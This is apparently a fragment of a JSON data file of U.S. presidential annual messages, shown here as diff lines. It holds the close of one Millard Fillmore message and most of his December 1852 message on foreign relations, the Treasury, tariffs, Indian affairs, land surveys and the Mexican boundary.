to $6,024,566.79, leaving a\nbalance of revenue over the proper expenditures of the year of\n$703,299.99.The receipts for postages during the year, excluding the foreign postages\ncollected for and payable to the British post-office, amounted to\n$6,345,747.21, being an increase of $997,610.79, or 18.65 per cent, over\nthe like receipts for the preceding year.The reduction of postage under the act of March last did not take effect\nuntil the commencement of the present fiscal year. The accounts for the\nfirst quarter under the operation of the reduced rates will not be settled\nbefore January next, and no reliable estimate of the receipts for the\npresent year can yet be made. It is believed, however, that they will fall\nfar short of those of the last year. The surplus of the revenues now on\nhand is, however, so large that no further appropriation from the Treasury\nin aid of the revenues of the Department is required for the current fiscal\nyear, but an additional appropriation for the year ending June 30, 1853,\nwill probably be found necessary when the receipts of the first two\nquarters of the fiscal year are fully ascertained.In his last annual report the Postmaster-General recommended a reduction of\npostage to rates which he deemed as low as could be prudently adopted\nunless Congress was prepared to appropriate from the Treasury for the\nsupport of the Department a sum more than equivalent to the mail services\nperformed by it for the Government. The recommendations of the\nPostmaster-General in respect to letter postage, except on letters from and\nto California and Oregon, were substantially adopted by the last Congress.\nHe now recommends adherence to the present letter rates and advises against\na further reduction until justified by the revenue of the Department.He also recommends that the rates of postage on printed matter be so\nrevised as to render them more simple and more uniform in their operation\nupon all classes of printed matter. I submit the recommendations of the\nreport to your favorable consideration.The public statutes of the United States have now been accumulating for\nmore than sixty years, and, interspersed with private acts, are scattered\nthrough numerous volumes, and, from the cost of the whole, have become\nalmost inaccessible to the great mass of the community. They also exhibit\nmuch of the incongruity and imperfection of hasty legislation. As it seems\nto be generally conceded that there is no \"common law\" of the United States\nto supply the defects of their legislation, it is most important that that\nlegislation should be as perfect as possible, defining every power intended\nto be conferred, every crime intended to be made punishable, and\nprescribing the punishment to be inflicted. In addition to some particular\ncases spoken of more at length, the whole criminal code is now lamentably\ndefective. Some offenses are imperfectly described and others are entirely\nomitted, so that flagrant crimes may be committed with impunity. The scale\nof punishment is not in all cases graduated according to the degree and\nnature of the offense, and is often rendered more unequal by the different\nmodes of imprisonment or penitentiary confinement in the different States.Many laws of a permanent character have been introduced into appropriation\nbills, and it is often difficult to determine whether the particular clause\nexpires with the temporary act of which it is a part or continues in force.\nIt has also frequently happened that enactments and provisions of law have\nbeen introduced into bills with the title or general subject of which they\nhave little or no connection or relation. In this mode of legislation so\nmany enactments have been heaped upon each other, and often with but little\nconsideration, that in many instances it is difficult to search out and\ndetermine what is the law.The Government of the United States is emphatically a government of written\nlaws. The statutes should therefore, as far as practicable, not only be\nmade accessible to all, but be expressed in language so plain and simple as\nto be understood by all and arranged in such method as to give perspicuity\nto every subject. Many of the States have revised their public acts with\ngreat and manifest benefit, and I recommend that provision be made by law\nfor the appointment of a commission to revise the public statutes of the\nUnited States, arranging them in order, supplying deficiencies, correcting\nincongruities, simplifying their language, and reporting them to Congress\nfor its action.An act of Congress approved 30th September, 1850, contained a provision for\nthe extension of the Capitol according to such plan as might be approved by\nthe President, and appropriated $100,000 to be expended under his direction\nby such architect as he should appoint to execute the same. On examining\nthe various plans which had been submitted by different architects in\npursuance of an advertisement by a committee of the Senate no one was found\nto be entirely satisfactory, and it was therefore deemed advisable to\ncombine and adopt the advantages of several.The great object to be accomplished was to make such an addition as would\nafford ample and convenient halls for the deliberations of the two Houses\nof Congress, with sufficient accommodations for spectators and suitable\napartments for the committees and officers of the two branches of the\nLegislature. It was also desirable not to mar the harmony and beauty of the\npresent structure, which, as a specimen of architecture, is so universally\nadmired. Keeping these objects in view, I concluded to make the addition by\nwings, detached from the present building, yet connected with it by\ncorridors. This mode of enlargement will leave the present Capitol\nuninjured and afford great advantages for ventilation and the admission of\nlight, and will enable the work to progress without interrupting the\ndeliberations of Congress. To carry this plan into effect I have appointed\nan experienced and competent architect. The corner stone was laid on the\n4th day of July last with suitable ceremonies, since which time the work\nhas advanced with commendable rapidity, and the foundations of both wings\nare now nearly complete.I again commend to your favorable regard the interests of the District of\nColumbia, and deem it only necessary to remind you that although its\ninhabitants have no voice in the choice of Representatives in Congress,\nthey are not the less entitled to a just and liberal consideration in your\nlegislation. My opinions on this subject were more fully expressed in my\nlast annual communication.Other subjects were brought to the attention of Congress in my last annual\nmessage, to which I would respectfully refer. But there was one of more\nthan ordinary interest, to which I again invite your special attention. I\nallude to the recommendation for the appointment of a commission to settle\nprivate claims against the United States. Justice to individuals, as well\nas to the Government, imperatively demands that some more convenient and\nexpeditious mode than an appeal to Congress should be adopted.It is deeply to be regretted that in several instances officers of the\nGovernment, in attempting to execute the law for the return of fugitives\nfrom labor, have been openly resisted and their efforts frustrated and\ndefeated by lawless and violent mobs; that in one case such resistance\nresulted in the death of an estimable citizen, and in others serious injury\nensued to those officers and to individuals who were using their endeavors\nto sustain the laws. Prosecutions have been instituted against the alleged\noffenders so far as they could be identified, and are still pending. I have\nregarded it as my duty in these cases to give all aid legally in my power\nto the enforcement of the laws, and I shall continue to do so wherever and\nwhenever their execution may be resisted.The act of Congress for the return of fugitives from labor is one required\nand demanded by the express words of the Constitution. The Constitution\ndeclares that--No person held to service or labor in one State, under the\nlaws thereof, escaping into another, shall, in consequence of any law or\nregulation therein, be discharged from such service or labor, but shall be\ndelivered up on claim of the party to whom such service or labor may be\ndue. This constitutional provision is equally obligatory upon the\nlegislative, the executive, and judicial departments of the Government, and\nupon every citizen of the United States.Congress, however, must from necessity first act upon the subject by\nprescribing the proceedings necessary to ascertain that the person is a\nfugitive and the means to be used for his restoration to the claimant. This\nwas done by an act passed during the first term of President Washington,\nwhich was amended by that enacted by the last Congress, and it now remains\nfor the executive and judicial departments to take care that these laws be\nfaithfully executed. This injunction of the Constitution is as peremptory\nand as binding as any other; it stands exactly on the same foundation as\nthat clause which provides for the return of fugitives from justice, or\nthat which declares that no bill of attainder or ex post facto law shall be\npassed, or that which provides for an equality of taxation according to the\ncensus, or the clause declaring that all duties shall be uniform throughout\nthe United States, or the important provision that the trial of all crimes\nshall be by jury. These several articles and clauses of the Constitution,\nall resting on the same authority, must stand or fall together. Some\nobjections have been urged against the details of the act for the return of\nfugitives from labor, but it is worthy of remark that the main opposition\nis aimed against the Constitution itself, and proceeds from persons and\nclasses of persons many of whom declare their wish to see that Constitution\noverturned. They avow their hostility to any law which shall give full and\npractical effect to this requirement of the Constitution. Fortunately, the\nnumber of these persons is comparatively small, and is believed to be daily\ndiminishing; but the issue which they present is one which involves the\nsupremacy and even the existence of the Constitution.Cases have heretofore arisen in which individuals have denied the binding\nauthority of acts of Congress, and even States have proposed to nullify\nsuch acts upon the ground that the Constitution was the supreme law of the\nland, and that those acts of Congress were repugnant to that instrument;\nbut nullification is now aimed not so much against particular laws as being\ninconsistent with the Constitution as against the Constitution itself, and\nit is not to be disguised that a spirit exists, and has been actively at\nwork, to rend asunder this Union, which is our cherished inheritance from\nour Revolutionary fathers.In my last annual message I stated that I considered the series of measures\nwhich had been adopted at the previous session in reference to the\nagitation growing out of the Territorial and slavery questions as a final\nsettlement in principle and substance of the dangerous and exciting\nsubjects which they embraced, and I recommended adherence to the adjustment\nestablished by those measures until time and experience should demonstrate\nthe necessity of further legislation to guard against evasion or abuse. I\nwas not induced to make this recommendation because I thought those\nmeasures perfect, for no human legislation can be perfect. Wide differences\nand jarring opinions can only be reconciled by yielding something on all\nsides, and this result had been reached after an angry conflict of many\nmonths, in which one part of the country was arrayed against another, and\nviolent convulsion seemed to be imminent. Looking at the interests of the\nwhole country, I felt it to be my duty to seize upon this compromise as the\nbest that could be obtained amid conflicting interests and to insist upon\nit as a final settlement, to be adhered to by all who value the peace and\nwelfare of the country. A year has now elapsed since that recommendation\nwas made. To that recommendation I still adhere, and I congratulate you and\nthe country upon the general acquiescence in these measures of peace which\nhas been exhibited in all parts of the Republic. And not only is there this\ngeneral acquiescence in these measures, but the spirit of conciliation\nwhich has been manifested in regard to them in all parts of the country has\nremoved doubts and uncertainties in the minds of thousands of good men\nconcerning the durability of our popular institutions and given renewed\nassurance that our liberty and our Union may subsist together for the\nbenefit of this and all succeeding generations.", 
+    "name": "Millard Fillmore"
+}
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+{
+    "date": "December 6, 1852", 
+    "speech": "Fellow-Citizens of the Senate and of the House of Representatives:The brief space which has elapsed since the close of your last session has\nbeen marked by no extraordinary political event. The quadrennial election\nof Chief Magistrate has passed off with less than the usual excitement.\nHowever individuals and parties may have been disappointed in the result,\nit is, nevertheless, a subject of national congratulation that the choice\nhas been effected by the independent suffrages of a free people,\nundisturbed by those influences which in other countries have too often\naffected the purity of popular elections.Our grateful thanks are due to an all-merciful Providence, not only for\nstaying the pestilence which in different forms has desolated some of our\ncities, but for crowning the labors of the husbandman with an abundant\nharvest and the nation generally with the blessings of peace and\nprosperity.Within a few weeks the public mind has been deeply affected by the death of\nDaniel Webster, filling at his decease the office of Secretary of State.\nHis associates in the executive government have sincerely sympathized with\nhis family and the public generally on this mournful occasion. His\ncommanding talents, his great political and professional eminence, his\nwell-tried patriotism, and his long and faithful services in the most\nimportant public trusts have caused his death to be lamented throughout the\ncountry and have earned for him a lasting place in our history. In the\ncourse of the last summer considerable anxiety was caused for a short time\nby an official intimation from the Government of Great Britain that orders\nhad been given for the protection of the fisheries upon the coasts of the\nBritish provinces in North America against the alleged encroachments of the\nfishing vessels of the United States and France. The shortness of this\nnotice and the season of the year seemed to make it a matter of urgent\nimportance. It was at first apprehended that an increased naval force had\nbeen ordered to the fishing grounds to carry into effect the British\ninterpretation of those provisions in the convention of 1818 in reference\nto the true intent of which the two Governments differ. It was soon\ndiscovered that such was not the design of Great Britain, and satisfactory\nexplanations of the real objects of the measure have been given both here\nand in London.The unadjusted difference, however, between the two Governments as to the\ninterpretation of the first article of the convention of 1818 is still a\nmatter of importance. American fishing vessels, within nine or ten years,\nhave been excluded from waters to which they had free access for\ntwenty-five years after the negotiation of the treaty. In 1845 this\nexclusion was relaxed so far as concerns the Bay of Fundy, but the just and\nliberal intention of the home Government, in compliance with what we think\nthe true construction of the convention, to open all the other outer bays\nto our fishermen was abandoned in consequence of the opposition of the\ncolonies. Notwithstanding this, the United States have, since the Bay of\nFundy was reopened to our fishermen in 1845, pursued the most liberal\ncourse toward the colonial fishing interests. By the revenue law of 1846\nthe duties on colonial fish entering our ports were very greatly reduced,\nand by the warehousing act it is allowed to be entered in bond without\npayment of duty. In this way colonial fish has acquired the monopoly of the\nexport trade in our market and is entering to some extent into the home\nconsumption. These facts were among those which increased the sensibility\nof our fishing interest at the movement in question. These circumstances\nand the incidents above alluded to have led me to think the moment\nfavorable for a reconsideration of the entire subject of the fisheries on\nthe coasts of the British Provinces, with a view to place them upon a more\nliberal footing of reciprocal privilege. A willingness to meet us in some\narrangement of this kind is understood to exist on the part of Great\nBritain, with a desire on her part to include in one comprehensive\nsettlement as well this subject as the commercial intercourse between the\nUnited States and the British Provinces. I have thought that, whatever\narrangements may be made on these two subjects, it is expedient that they\nshould be embraced in separate conventions. The illness and death of the\nlate Secretary of State prevented the commencement of the contemplated\nnegotiation. Pains have been taken to collect the information required for\nthe details of such an arrangement. The subject is attended with\nconsiderable difficulty. If it is found practicable to come to an agreement\nmutually acceptable to the two parties, conventions may be concluded in the\ncourse of the present winter. The control of Congress over all the\nprovisions of such an arrangement affecting the revenue will of course be\nreserved.The affairs of Cuba formed a prominent topic in my last annual message.\nThey remain in an uneasy condition, and a feeling of alarm and irritation\non the part of the Cuban authorities appears to exist. This feeling has\ninterfered with the regular commercial intercourse between the United\nStates and the island and led to some acts of which we have a fight to\ncomplain. But the Captain-General of Cuba is clothed with no power to treat\nwith foreign governments, nor is he in any degree under the control of the\nSpanish minister at Washington. Any communication which he may hold with an\nagent of a foreign power is informal and matter of courtesy. Anxious to put\nan end to the existing inconveniences (which seemed to rest on a\nmisconception), I directed the newly appointed minister to Mexico to visit\nHavana on his way to Vera Cruz. He was respectfully received by the\nCaptain-General, who conferred with him freely on the recent occurrences,\nbut no permanent arrangement was effected.In the meantime the refusal of the Captain-Generalto allow passengers and\nthe mail to be landed in certain cases, for a reason which does not\nfurnish, in the opinion of this Government, even a good presumptive ground\nfor such prohibition, has been made the subject of a serious remonstrance\nat Madrid, and I have no reason to doubt that due respect will be paid by\nthe Government of Her Catholic Majesty to the representations which our\nminister has been instructed to make on the subject.It is but justice to the Captain-General to add that his conduct toward the\nsteamers employed to carry the mails of the United States to Havana has,\nwith the exceptions above alluded to, been marked with kindness and\nliberality, and indicates no general purpose of interfering with the\ncommercial correspondence and intercourse between the island and this\ncountry.Early in the present year official notes were received from the ministers\nof France and England inviting the Government of the United States to\nbecome a party with Great Britain and France to a tripartite convention, in\nvirtue of which the three powers should severally and collectively disclaim\nnow and for the future all intention to obtain possession of the island of\nCuba, and should bind themselves to discountenance all attempts to that\neffect on the part of any power or individual whatever. This invitation has\nbeen respectfully declined, for reasons which it would occupy too much\nspace in this communication to state in detail, but which led me to think\nthat the proposed measure would be of doubtful constitutionality,\nimpolitic, and unavailing. I have, however, in common with several of my\npredecessors, directed the ministers of France and England to be assured\nthat the United States entertain no designs against Cuba, but that, on the\ncontrary, I should regard its incorporation into the Union at the present\ntime as fraught with serious peril.Were this island comparatively destitute of inhabitants or occupied by a\nkindred race, I should regard it, if voluntarily ceded by Spain, as a most\ndesirable acquisition. But under existing circumstances I should look upon\nits incorporation into our Union as a very hazardous measure. It would\nbring into the Confederacy a population of a different national stock,\nspeaking a different language, and not likely to harmonize with the other\nmembers. It would probably affect in a prejudicial manner the industrial\ninterests of the South, and it might revive those conflicts of opinion\nbetween the different sections of the country which lately shook the Union\nto its center, and which have been so happily compromised.The rejection by the Mexican Congress of the convention which had been\nconcluded between that Republic and the United States for the protection of\na transit way across the Isthmus of Tehuantepec and of the interests of\nthose citizens of the United States who had become proprietors of the\nrights which Mexico had conferred on one of her own citizens in regard to\nthat transit has thrown a serious obstacle in the way of the attainment of\na very desirable national object. I am still willing to hope that the\ndifferences on the subject which exist, or may hereafter arise, between the\nGovernments will be amicably adjusted. This subject, however, has already\nengaged the attention of the Senate of the United States, and requires no\nfurther comment in this communication.The settlement of the question respecting the port of San Juan de Nicaragua\nand of the controversy between the Republics of Costa Rica and Nicaragua in\nregard to their boundaries was considered indispensable to the commencement\nof the ship canal between the two oceans, which was the subject of the\nconvention between the United States and Great Britain of the 19th of\nApril, 1850. Accordingly, a proposition for the same purposes, addressed to\nthe two Governments in that quarter and to the Mosquito Indians, was agreed\nto in April last by the Secretary of State and the minister of Her\nBritannic Majesty. Besides the wish to aid in reconciling the differences\nof the two Republics, I engaged in the negotiation from a desire to place\nthe great work of a ship canal between the two oceans under one\njurisdiction and to establish the important port of San Juan de Nicaragua\nunder the government of a civilized power. The proposition in question was\nassented to by Costs Rica and the Mosquito Indians. It has not proved\nequally acceptable to Nicaragua, but it is to be hoped that the further\nnegotiations on the subject which are in train will be carried on in that\nspirit of conciliation and compromise which ought always to prevail on such\noccasions, and that they will lead to a satisfactory result.I have the satisfaction to inform you that the executive government of\nVenezuela has acknowledged some claims of citizens of the United States\nwhich have for many years past been urged by our charge d'affaires at\nCaracas. It is hoped that the same sense of justice will actuate the\nCongress of that Republic in providing the means for their payment.The recent revolution in Buenos Ayres and the Confederated States having\nopened the prospect of an improved state of things in that quarter, the\nGovernments of Great Britain and France determined to negotiate with the\nchief of the new confederacy for the free access of their commerce to the\nextensive countries watered by the tributaries of the La Plata; and they\ngave a friendly notice of this purpose to the United States, that we might,\nif we thought proper, pursue the same course. In compliance with this\ninvitation, our minister at Rio Janeiro and our charge d'affaires at\nBuenos Ayres have been fully authorized to conclude treaties with the newly\norganized confederation or the States composing it. The delays which have\ntaken place in the formation of the new government have as yet prevented\nthe execution of those instructions, but there is every reason to hope that\nthese vast countries will be eventually opened to our commerce.A treaty of commerce has been concluded between the United States and the\nOriental Republic of Uruguay, which will be laid before the Senate. Should\nthis convention go into operation, it will open to the commercial\nenterprise of our citizens a country of great extent and unsurpassed in\nnatural resources, but from which foreign nations have hitherto been almost\nwholly excluded.The correspondence of the late Secretary of State with the Peruvian charge\nd'affaires relative to the Lobos Islands was communicated to Congress\ntoward the close of the last session. Since that time, on further\ninvestigation of the subject, the doubts which had been entertained of the\ntitle of Peru to those islands have been removed, and I have deemed it just\nthat the temporary wrong which had been unintentionally done her from want\nof information should be repaired by an unreserved acknowledgment of her\nsovereignty.I have the satisfaction to inform you that the course pursued by Peru has\nbeen creditable to the liberality of her Government. Before it was known by\nher that her title would be acknowledged at Washington, her minister of\nforeign affairs had authorized our charge d'affaires at Lima to announce\nto the American vessels which had gone to the Lobos for guano that the\nPeruvian Government was willing to freight them on its own account. This\nintention has been carried into effect by the Peruvian minister here by an\narrangement which is believed to be advantageous to the parties in\ninterest.Our settlements on the shores of the Pacific have already given a great\nextension, and in some respects a new direction, to our commerce in that\nocean. A direct and rapidly increasing intercourse has sprung up with\neastern Asia. The waters of the Northern Pacific, even into the Arctic Sea,\nhave of late years been frequented by our whalemen. The application of\nsteam to the general purposes of navigation is becoming daily more common,\nand makes it desirable to obtain fuel and other necessary supplies at\nconvenient points on the route between Asia and our Pacific shores. Our\nunfortunate countrymen who from time to time suffer shipwreck on the coasts\nof the eastern seas are entitled to protection. Besides these specific\nobjects, the general prosperity of our States on the Pacific requires that\nan attempt should be made to open the opposite regions of Asia to a\nmutually beneficial intercourse. It is obvious that this attempt could be\nmade by no power to so great advantage as by the United States, whose\nconstitutional system excludes every idea of distant colonial dependencies.\nI have accordingly been led to order an appropriate naval force to Japan,\nunder the command of a discreet and intelligent officer of the highest rank\nknown to our service. He is instructed to endeavor to obtain from the\nGovernment of that country some relaxation of the inhospitable and\nantisocial system which it has pursued for about two centuries. He has been\ndirected particularly to remonstrate in the strongest language against the\ncruel treatment to which our shipwrecked mariners have often been subjected\nand to insist that they shall be treated with humanity. He is instructed,\nhowever, at the same time, to give that Government the amplest assurances\nthat the objects of the United States are such, and such only, as I have\nindicated, and that the expedition is friendly and peaceful.\nNotwithstanding the jealousy with which the Governments of eastern Asia\nregard all overtures from foreigners, I am not without hopes of a\nbeneficial result of the expedition. Should it be crowned with success, the\nadvantages will not be confined to the United States, but, as in the case\nof China, will be equally enjoyed by all the other maritime powers. I have\nmuch satisfaction in stating that in all the steps preparatory to this\nexpedition the Government of the United States has been materially aided by\nthe good offices of the King of the Netherlands, the only European power\nhaving any commercial relations with Japan.In passing from this survey of our foreign relations, I invite the\nattention of Congress to the condition of that Department of the Government\nto which this branch of the public business is intrusted. Our intercourse\nwith foreign powers has of late years greatly increased, both in\nconsequence of our own growth and the introduction of many new states into\nthe family of nations. In this way the Department of State has become\noverburdened. It has by the recent establishment of the Department of the\nInterior been relieved of some portion of the domestic business. If the\nresidue of the business of that kind--such as the distribution of\nCongressional documents, the keeping, publishing, and distribution of the\nlaws of the United States, the execution of the copyright law, the subject\nof reprieves and pardons, and some other subjects relating to interior\nadministration--should be transferred from the Department of State, it\nwould unquestionably be for the benefit of the public service. I would also\nsuggest that the building appropriated to the State Department is not\nfireproof; that there is reason to think there are defects in its\nconstruction, and that the archives of the Government in charge of the\nDepartment, with the precious collections of the manuscript papers of\nWashington, Jefferson, Hamilton, Madison, and Monroe, are exposed to\ndestruction by fire. A similar remark may be made of the buildings\nappropriated to the War and Navy Departments.The condition of the Treasury is exhibited in the annual report from that\nDepartment.The cash receipts into the Treasury for the fiscal year ending the 30th\nJune last, exclusive of trust funds, were $49,728,386.89, and the\nexpenditures for the same period, likewise exclusive of trust funds, were\n$46,007,896.20, of which $9,455,815.83 was on account of the principal and\ninterest of the public debt, including the last installment of the\nindemnity to Mexico under the treaty of Guadalupe Hidalgo, leaving a\nbalance of $14,632,136.37 in the Treasury on the 1st day of July last.\nSince this latter period further purchases of the principal of the public\ndebt have been made to the extent of $2,456,547.49, and the surplus in the\nTreasury will continue to be applied to that object whenever the stock can\nbe procured within the limits as to price authorized by law.The value of foreign merchandise imported during the last fiscal year was\n$207,240,101, and the value of domestic productions exported was\n$149,861,911, besides $17,204,026 of foreign merchandise exported, making\nthe aggregate of the entire exports $167,065,937. Exclusive of the above,\nthere was exported $42,507,285 in specie, and imported from foreign ports\n$5,262,643.In my first annual message to Congress I called your attention to what\nseemed to me some defects in the present tariff, and recommended such\nmodifications as in my judgment were best adapted to remedy its evils and\npromote the prosperity of the country. Nothing has since occurred to change\nmy views on this important question.Without repeating the arguments contained in my former message in favor of\ndiscriminating protective duties, I deem it my duty to call your attention\nto one or two other considerations affecting this subject. The first is the\neffect of large importations of foreign goods upon our currency. Most of\nthe gold of California, as fast as it is coined, finds its way directly to\nEurope in payment for goods purchased. In the second place, as our\nmanufacturing establishments are broken down by competition with\nforeigners, the capital invested in them is lost, thousands of honest and\nindustrious citizens are thrown out of employment, and the farmer, to that\nextent, is deprived of a home market for the sale of his surplus produce.\nIn the third place, the destruction of our manufactures leaves the\nforeigner without competition in our market, and he consequently raises the\nprice of the article sent here for sale, as is now seen in the increased\ncost of iron imported from England. The prosperity and wealth of every\nnation must depend upon its productive industry. The farmer is stimulated\nto exertion by finding a ready market for his surplus products, and\nbenefited by being able to exchange them without loss of time or expense of\ntransportation for the manufactures which his comfort or convenience\nrequires. This is always done to the best advantage where a portion of the\ncommunity in which he lives is engaged in other pursuits. But most\nmanufactures require an amount of capital and a practical skill which can\nnot be commanded unless they be protected for a time from ruinous\ncompetition from abroad. Hence the necessity of laying those duties upon\nimported goods which the Constitution authorizes for revenue in such a\nmanner as to protect and encourage the labor of our own citizens. Duties,\nhowever, should not be fixed at a rate so high as to exclude the foreign\narticle, but should be so graduated as to enable the domestic manufacturer\nfairly to compete with the foreigner in our own markets, and by this\ncompetition to reduce the price of the manufactured article to the consumer\nto the lowest rate at which it can be produced. This policy would place the\nmechanic by the side of the farmer, create a mutual interchange of their\nrespective commodities, and thus stimulate the industry of the whole\ncountry and render us independent of foreign nations for the supplies\nrequired by the habits or necessities of the people.Another question, wholly independent of protection, presents itself, and\nthat is, whether the duties levied should be upon the value of the article\nat the place of shipment, or, where it is practicable, a specific duty,\ngraduated according to quantity, as ascertained by weight or measure. All\nour duties are at present ad valorem. A certain percentage is levied on the\nprice of the goods at the port of shipment in a foreign country. Most\ncommercial nations have found it indispensable, for the purpose of\npreventing fraud and perjury, to make the duties specific whenever the\narticle is of such a uniform value in weight or measure as to justify such\na duty. Legislation should never encourage dishonesty or crime. It is\nimpossible that the revenue officers at the port where the goods are\nentered and the duties paid should know with certainty what they cost in\nthe foreign country. Yet the law requires that they should levy the duty\naccording to such cost. They are therefore compelled to resort to very\nunsatisfactory evidence to ascertain what that cost was. They take the\ninvoice of the importer, attested by his oath, as the best evidence of\nwhich the nature of the case admits. But everyone must see that the invoice\nmay be fabricated and the oath by which it is supported false, by reason of\nwhich the dishonest importer pays a part only of the duties which are paid\nby the honest one, and thus indirectly receives from the Treasury of the\nUnited States a reward for his fraud and perjury. The reports of the\nSecretary of the Treasury heretofore made on this subject show conclusively\nthat these frauds have been practiced to a great extent. The tendency is to\ndestroy that high moral character for which our merchants have long been\ndistinguished, to defraud the Government of its revenue, to break down the\nhonest importer by a dishonest competition, and, finally, to transfer the\nbusiness of importation to foreign and irresponsible agents, to the great\ndetriment of our own citizens. I therefore again most earnestly recommend\nthe adoption of specific duties wherever it is practicable, or a home\nvaluation, to prevent these frauds.I would also again call your attention to the fact that the present tariff\nin some cases imposes a higher duty upon the raw material imported than\nupon the article manufactured from it, the consequence of which is that the\nduty operates to the encouragement of the foreigner and the discouragement\nof our own citizens.For full and detailed information in regard to the general condition of our\nIndian affairs, I respectfully refer you to the report of the Secretary of\nthe Interior and the accompanying documents.The Senate not having thought proper to ratify the treaties which have been\nnegotiated with the tribes of Indians in California and Oregon, our\nrelations with them have been left in a very unsatisfactory condition.In other parts of our territory particular districts of country have been\nset apart for the exclusive occupation of the Indians, and their right to\nthe lands within those limits has been acknowledged and respected. But in\nCalifornia and Oregon there has been no recognition by the Government of\nthe exclusive right of the Indians to any part of the country. They are\ntherefore mere tenants at sufferance, and liable to be driven from place to\nplace at the pleasure of the whites.The treaties which have been rejected proposed to remedy this evil by\nallotting to the different tribes districts of country suitable to their\nhabits of life and sufficient for their support. This provision, more than\nany other, it is believed, led to their rejection; and as no substitute for\nit has been adopted by Congress, it has not been deemed advisable to\nattempt to enter into new treaties of a permanent character, although no\neffort has been spared by temporary arrangements to preserve friendly\nrelations with them.If it be the desire of Congress to remove them from the country altogether,\nor to assign to them particular districts more remote from the settlements\nof the whites, it will be proper to set apart by law the territory which\nthey are to occupy and to provide the means necessary for removing them to\nit. Justice alike to our own citizens and to the Indians requires the\nprompt action of Congress on this subject. The amendments proposed by the\nSenate to the treaties which were negotiated with the Sioux Indians of\nMinnesota have been submitted to the tribes who were parties to them, and\nhave received their assent. A large tract of valuable territory has thus\nbeen opened for settlement and cultivation, and all danger of collision\nwith these powerful and warlike bands has been happily removed.The removal of the remnant of the tribe of Seminole Indians from Florida\nhas long been a cherished object of the Government, and it is one to which\nmy attention has been steadily directed. Admonished by past experience of\nthe difficulty and cost of the attempt to remove them by military force,\nresort has been had to conciliatory measures. By the invitation of the\nCommissioner of Indian Affairs, several of the principal chiefs recently\nvisited Washington, and whilst here acknowledged in writing the obligation\nof their tribe to remove with the least possible delay. Late advices from\nthe special agent of the Government represent that they adhere to their\npromise, and that a council of their people has been called to make their\npreliminary arrangements. A general emigration may therefore be confidently\nexpected at an early day.The report from the General Land Office shows increased activity in its\noperations. The survey of the northern boundary of Iowa has been completed\nwith unexampled dispatch. Within the last year 9,522,953 acres of public\nland have been surveyed and 8,032,463 acres brought into market.Acres In the last fiscal year there were sold 1,553,071 Located with\nbounty-land warrants 3,201,314 Located with other certificates 115,682\nMaking a total of 4,870,067In addition there were--Reported under swamp-land grants 5,219,188 For\ninternal improvements, railroads, etc 3,025,920 Making an aggregate of\n13,115,175 Being an increase of the amount sold and located under land\nwarrants of 569,220 acres over the previous year. The whole amount thus\nsold, located under land warrants, reported under swamp-land grants, and\nselected for internal improvements exceeds that of the previous year by\n3,342,372 acres; and the sales would without doubt have been much larger\nbut for the extensive reservations for railroads in Missouri, Mississippi,\nand Alabama.Acres For the quarter ending 30th September, 1852, there were sold 243,255\nLocated with bounty-land warrants 1,387,116 Located with other certificates\n15,649 Reported under swamp-land grants 2,485,233 Making an aggregate for\nthe quarter of 4,131,253Much the larger portion of the labor of arranging and classifying the\nreturns of the last census has been finished, and it will now devolve upon\nCongress to make the necessary provision for the publication of the results\nin such form as shall be deemed best. The apportionment of representation\non the basis of the new census has been made by the Secretary of the\nInterior in conformity with the provisions of law relating to that subject,\nand the recent elections have been made in accordance with it.I commend to your favorable regard the suggestion contained in the report\nof the Secretary of the Interior that provision be made by law for the\npublication and distribution, periodically, of an analytical digest of all\nthe patents which have been or may hereafter be granted for useful\ninventions and discoveries, with such descriptions and illustrations as may\nbe necessary to present an intelligible view of their nature and operation.\nThe cost of such publication could easily be defrayed out of the patent\nfund, and I am persuaded that it could be applied to no object more\nacceptable to inventors and beneficial to the public at large.An appropriation of $100,000 having been made at the last session for the\npurchase of a suitable site and for the erection, furnishing, and fitting\nup of an asylum for the insane of the District of Columbia and of the Army\nand Navy of the United States, the proper measures have been adopted to\ncarry this beneficent purpose into effect.By the latest advices from the Mexican boundary commission it appears that\nthe survey of the river Gila from its continence with the Colorado to its\nsupposed intersection with the western line of New Mexico has been\ncompleted. The survey of the Rio Grande has also been finished from the\npoint agreed on by the commissioners as \"the point where it strikes the\nsouthern boundary of New Mexico\" to a point 135 miles below Eagle Pass,\nwhich is about two-thirds of the distance along the course of the river to\nits mouth.The appropriation which was made at the last session of Congress for the\ncontinuation of the survey is subject to the following proviso: Provided,\nThat no part of this appropriation shall be used or expended until it shall\nbe made satisfactorily to appear to the President of the United States that\nthe southern boundary of New Mexico is not established by the commissioner\nand surveyor of the United States farther north of the town called \"Paso\"\nthan the same is laid down in Disturnell's map, which is added to the\ntreaty.My attention was drawn to this subject by a report from the Department of\nthe Interior, which reviewed all the facts of the case and submitted for my\ndecision the question whether under existing circumstances any part of the\nappropriation could be lawfully used or expended for the further\nprosecution of the work. After a careful consideration of the subject I\ncame to the conclusion that it could not, and so informed the head of that\nDepartment. Orders were immediately issued by him to the commissioner and\nsurveyor to make no further requisitions on the Department, as they could\nnot be paid, and to discontinue all operations on the southern line of New\nMexico. But as the Department had no exact information as to the amount of\nprovisions and money which remained unexpended in the hands of the\ncommissioner and surveyor, it was left discretionary with them to continue\nthe survey down the Rio Grande as far as the means at their disposal would\nenable them or at once to disband the commission. A special messenger has\nsince arrived from the officer in charge of the survey on the river with\ninformation that the funds subject to his control were exhausted and that\nthe officers and others employed in the service were destitute alike of the\nmeans of prosecuting the work and of returning to their homes.The object of the proviso was doubtless to arrest the survey of the\nsouthern and western lines of New Mexico, in regard to which different\nopinions have been expressed; for it is hardly to be supposed that there\ncould be any objection to that part of the line which extends along the\nchannel of the Rio Grande. But the terms of the law are so broad as to\nforbid the use of any part of the money for the prosecution of the work, or\neven for the payment to the officers and agents of the arrearages of pay\nwhich are justly due to them.I earnestly invite your prompt attention to this subject, and recommend a\nmodification of the terms of the proviso, so as to enable the Department to\nuse as much of the appropriation as will be necessary to discharge the\nexisting obligations of the Government and to complete the survey of the\nRio Grande to its mouth.It will also be proper to make further provision by law for the fulfillment\nof our treaty with Mexico for running and marking the residue of the\nboundary line between the two countries.Permit me to invite your particular attention to the interests of the\nDistrict of Columbia, which are confided by the Constitution to your\npeculiar care.Among the measures which seem to me of the greatest importance to its\nprosperity are the introduction of a copious supply of water into the city\nof Washington and the construction of suitable bridges across the Potomac\nto replace those which were destroyed by high water in the early part of\nthe present year.At the last session of Congress an appropriation was made to defray the\ncost of the surveys necessary for determining the best means of affording\nan unfailing supply of good and wholesome water. Some progress has been\nmade in the survey, and as soon as it is completed the result will be 